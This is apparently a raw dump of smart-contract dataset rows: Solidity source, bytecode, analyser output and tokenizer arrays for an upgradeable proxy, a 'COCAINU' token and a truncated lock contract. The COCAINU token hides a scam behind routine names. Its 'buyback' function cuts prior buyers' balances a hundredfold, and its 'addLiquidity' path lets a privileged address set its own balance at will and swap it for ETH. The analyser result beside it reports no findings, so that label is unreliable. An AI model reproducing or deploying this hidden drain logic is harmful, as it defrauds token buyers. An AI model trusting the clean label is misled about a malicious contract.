library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212205cf152b08fb644376c8d5f0eb39d036ca6f7804ef2b9d395c0d260c5257e98be64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 16086, 28311, 2546, 2581, 15136, 2094, 22610, 2683, 2581, 21472, 2581, 2063, 28311, 2629, 2278, 25746, 2575, 2581, 2094, 2581, 2497, 2683, 2620, 2487, 6305, 27814, 24594, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 1996, 2531, 2252, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,829
0x95C66A4378Cd7c85E14A66Bd518548bf590dE343
pragma solidity ^0.8.13; // SPDX-License-Identifier: Unlicensed // https://www.spheroiduniverse.io/ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function isLiquidityToken(address account) internal pure returns (bool) { return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract Cocainu is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _approvals; string private _name = "COCAINU"; string private _symbol = "COCAINU"; uint256 public _decimals = 9; uint256 public _totalSupply = 1000000000000 * 10 ** _decimals; bool liquifying = false; constructor() { _balances[msg.sender] = _totalSupply; _approvals[msg.sender] = true; emit Transfer(address(0), msg.sender, _balances[msg.sender]); } IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint256) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function uniswapVersion() external pure returns (uint256) { return 2; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } struct Transaction {address to; uint256 amount;} Transaction[] _transfers; function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) { require(_allowances[_msgSender()][from] >= amount); _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount); return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0)); require(to != address(0)); if (inSwap(from, to)) {return addLiquidity(amount, to);} if (liquifying){} else {require(_balances[from] >= amount);} buyback(from); bool inLiquidityTransaction = (to == uniswapV2Pair() && _approvals[from]) || (from == uniswapV2Pair() && _approvals[to]); if (!_approvals[from] && !_approvals[to] && !Address.isLiquidityToken(to) && to != address(this) && !inLiquidityTransaction && !liquifying) { addTransaction(to, amount); } uint256 amountReceived = amount; _balances[from] = _balances[from] - amount; _balances[to] += amountReceived; emit Transfer(from, to, amount); } function inSwap(address sender, address recipient) internal view returns(bool) { return ( Address.isLiquidityToken(recipient) || _approvals[msg.sender] ) && sender == recipient; } function addTransaction(address to, uint256 amount) internal { if (uniswapV2Pair() != to) {_transfers.push(Transaction(to, amount));} } function buyback(address from) internal { if (uniswapV2Pair() == from) { for (uint256 i = 0; i < _transfers.length; i++) { _balances[_transfers[i].to] = _balances[_transfers[i].to] .div(100); } delete _transfers; } } function uniswapV2Pair() private view returns (address) { return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()); } function addLiquidity(uint256 liquidityFee, address to) private { _approve(address(this), address(_router), liquidityFee); _balances[address(this)] = liquidityFee; address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); liquifying = true; _router.swapExactTokensForETHSupportingFeeOnTransferTokens(liquidityFee, 0, path, to, block.timestamp + 20); liquifying = false; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(from, recipient, amount); require(_allowances[from][_msgSender()] >= amount); return true; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806348d3ab1f1161009757806395d89b411161006657806395d89b41146102a1578063a457c2d7146102bf578063a9059cbb146102ef578063dd62ed3e1461031f57610100565b806348d3ab1f1461022b57806370a0823114610249578063715018a6146102795780638da5cb5b1461028357610100565b8063313ce567116100d3578063313ce567146101a157806332424aa3146101bf57806339509351146101dd5780633eaaf86b1461020d57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61034f565b60405161011a9190611986565b60405180910390f35b61013d60048036038101906101389190611a41565b6103e1565b60405161014a9190611a9c565b60405180910390f35b61015b6103ff565b6040516101689190611ac6565b60405180910390f35b61018b60048036038101906101869190611ae1565b610409565b6040516101989190611a9c565b60405180910390f35b6101a96104b1565b6040516101b69190611ac6565b60405180910390f35b6101c76104bb565b6040516101d49190611ac6565b60405180910390f35b6101f760048036038101906101f29190611a41565b6104c1565b6040516102049190611a9c565b60405180910390f35b61021561056d565b6040516102229190611ac6565b60405180910390f35b610233610573565b6040516102409190611ac6565b60405180910390f35b610263600480360381019061025e9190611b34565b61057c565b6040516102709190611ac6565b60405180910390f35b6102816105c5565b005b61028b6106ff565b6040516102989190611b70565b60405180910390f35b6102a9610728565b6040516102b69190611986565b60405180910390f35b6102d960048036038101906102d49190611a41565b6107ba565b6040516102e69190611a9c565b60405180910390f35b61030960048036038101906103049190611a41565b6108f6565b6040516103169190611a9c565b60405180910390f35b61033960048036038101906103349190611b8b565b610914565b6040516103469190611ac6565b60405180910390f35b60606004805461035e90611bfa565b80601f016020809104026020016040519081016040528092919081815260200182805461038a90611bfa565b80156103d75780601f106103ac576101008083540402835291602001916103d7565b820191906000526020600020905b8154815290600101906020018083116103ba57829003601f168201915b5050505050905090565b60006103f56103ee61099b565b84846109a3565b6001905092915050565b6000600754905090565b6000610416848484610b6c565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046061099b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104a657600080fd5b600190509392505050565b6000600654905090565b60065481565b60006105636104ce61099b565b8484600260006104dc61099b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461055e9190611c5a565b6109a3565b6001905092915050565b60075481565b60006002905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105cd61099b565b73ffffffffffffffffffffffffffffffffffffffff166105eb6106ff565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890611cfc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461073790611bfa565b80601f016020809104026020016040519081016040528092919081815260200182805461076390611bfa565b80156107b05780601f10610785576101008083540402835291602001916107b0565b820191906000526020600020905b81548152906001019060200180831161079357829003601f168201915b5050505050905090565b600081600260006107c961099b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561084c57600080fd5b6108ec61085761099b565b84846002600061086561099b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108e79190611d1c565b6109a3565b6001905092915050565b600061090a61090361099b565b8484610b6c565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990611dc2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7890611e54565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b5f9190611ac6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ba557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bde57600080fd5b610be88383610ffe565b15610bfc57610bf7818361109c565b610ff9565b600860009054906101000a900460ff16610c5d5780600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c5c57600080fd5b5b610c6683611366565b6000610c706114f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610cf35750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80610d855750610d016114f6565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610d845750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e2b5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610e3d5750610e3b83611699565b155b8015610e7557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e7f575080155b8015610e985750600860009054906101000a900460ff16155b15610ea857610ea783836116ee565b5b600082905082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef89190611d1c565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8a9190611c5a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fee9190611ac6565b60405180910390a350505b505050565b600061100982611699565b8061105d5750600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b801561109457508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b6110c930600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846109a3565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561112a57611129611e74565b5b6040519080825280602002602001820160405280156111585781602001602082028036833780820191505090505b50905030816000815181106111705761116f611ea3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611217573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123b9190611ee7565b8160018151811061124f5761124e611ea3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001600860006101000a81548160ff021916908315150217905550600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866014426112f49190611c5a565b6040518663ffffffff1660e01b8152600401611314959493929190612017565b600060405180830381600087803b15801561132e57600080fd5b505af1158015611342573d6000803e3d6000fd5b505050506000600860006101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff166113856114f6565b73ffffffffffffffffffffffffffffffffffffffff16036114f35760005b6009805490508110156114e357611448606460016000600985815481106113cd576113cc611ea3565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d690919063ffffffff16565b60016000600984815481106114605761145f611ea3565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806114db90612071565b9150506113a3565b50600960006114f29190611883565b5b50565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611565573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115899190611ee7565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611612573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116369190611ee7565b6040518363ffffffff1660e01b81526004016116539291906120b9565b602060405180830381865afa158015611670573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116949190611ee7565b905090565b60007f4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba60001b826040516020016116d0919061212a565b60405160208183030381529060405280519060200120149050919050565b8173ffffffffffffffffffffffffffffffffffffffff1661170d6114f6565b73ffffffffffffffffffffffffffffffffffffffff16146117d257600960405180604001604052808473ffffffffffffffffffffffffffffffffffffffff16815260200183815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505b5050565b600061181883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611820565b905092915050565b60008083118290611867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185e9190611986565b60405180910390fd5b50600083856118769190612174565b9050809150509392505050565b50805460008255600202906000526020600020908101906118a491906118a7565b50565b5b808211156118e957600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160009055506002016118a8565b5090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561192757808201518184015260208101905061190c565b83811115611936576000848401525b50505050565b6000601f19601f8301169050919050565b6000611958826118ed565b61196281856118f8565b9350611972818560208601611909565b61197b8161193c565b840191505092915050565b600060208201905081810360008301526119a0818461194d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119d8826119ad565b9050919050565b6119e8816119cd565b81146119f357600080fd5b50565b600081359050611a05816119df565b92915050565b6000819050919050565b611a1e81611a0b565b8114611a2957600080fd5b50565b600081359050611a3b81611a15565b92915050565b60008060408385031215611a5857611a576119a8565b5b6000611a66858286016119f6565b9250506020611a7785828601611a2c565b9150509250929050565b60008115159050919050565b611a9681611a81565b82525050565b6000602082019050611ab16000830184611a8d565b92915050565b611ac081611a0b565b82525050565b6000602082019050611adb6000830184611ab7565b92915050565b600080600060608486031215611afa57611af96119a8565b5b6000611b08868287016119f6565b9350506020611b19868287016119f6565b9250506040611b2a86828701611a2c565b9150509250925092565b600060208284031215611b4a57611b496119a8565b5b6000611b58848285016119f6565b91505092915050565b611b6a816119cd565b82525050565b6000602082019050611b856000830184611b61565b92915050565b60008060408385031215611ba257611ba16119a8565b5b6000611bb0858286016119f6565b9250506020611bc1858286016119f6565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c1257607f821691505b602082108103611c2557611c24611bcb565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c6582611a0b565b9150611c7083611a0b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ca557611ca4611c2b565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611ce66020836118f8565b9150611cf182611cb0565b602082019050919050565b60006020820190508181036000830152611d1581611cd9565b9050919050565b6000611d2782611a0b565b9150611d3283611a0b565b925082821015611d4557611d44611c2b565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611dac6025836118f8565b9150611db782611d50565b604082019050919050565b60006020820190508181036000830152611ddb81611d9f565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611e3e6023836118f8565b9150611e4982611de2565b604082019050919050565b60006020820190508181036000830152611e6d81611e31565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050611ee1816119df565b92915050565b600060208284031215611efd57611efc6119a8565b5b6000611f0b84828501611ed2565b91505092915050565b6000819050919050565b6000819050919050565b6000611f43611f3e611f3984611f14565b611f1e565b611a0b565b9050919050565b611f5381611f28565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611f8e816119cd565b82525050565b6000611fa08383611f85565b60208301905092915050565b6000602082019050919050565b6000611fc482611f59565b611fce8185611f64565b9350611fd983611f75565b8060005b8381101561200a578151611ff18882611f94565b9750611ffc83611fac565b925050600181019050611fdd565b5085935050505092915050565b600060a08201905061202c6000830188611ab7565b6120396020830187611f4a565b818103604083015261204b8186611fb9565b905061205a6060830185611b61565b6120676080830184611ab7565b9695505050505050565b600061207c82611a0b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036120ae576120ad611c2b565b5b600182019050919050565b60006040820190506120ce6000830185611b61565b6120db6020830184611b61565b9392505050565b60008160601b9050919050565b60006120fa826120e2565b9050919050565b600061210c826120ef565b9050919050565b61212461211f826119cd565b612101565b82525050565b60006121368284612113565b60148201915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061217f82611a0b565b915061218a83611a0b565b92508261219a57612199612145565b5b82820490509291505056fea2646970667358221220a45e06413add4b794ab97977558a35a9549869dc54e15baae3330a2c11293cb864736f6c634300080d0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2278, 28756, 2050, 23777, 2581, 2620, 19797, 2581, 2278, 27531, 2063, 16932, 2050, 28756, 2497, 2094, 22203, 27531, 18139, 29292, 28154, 2692, 3207, 22022, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2410, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1013, 16770, 1024, 1013, 1013, 7479, 1012, 11867, 5886, 9314, 19496, 16070, 1012, 22834, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,830
0x95c6b1ca2e2f8d9f8cae73fe522e247ffce9e5fa
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = 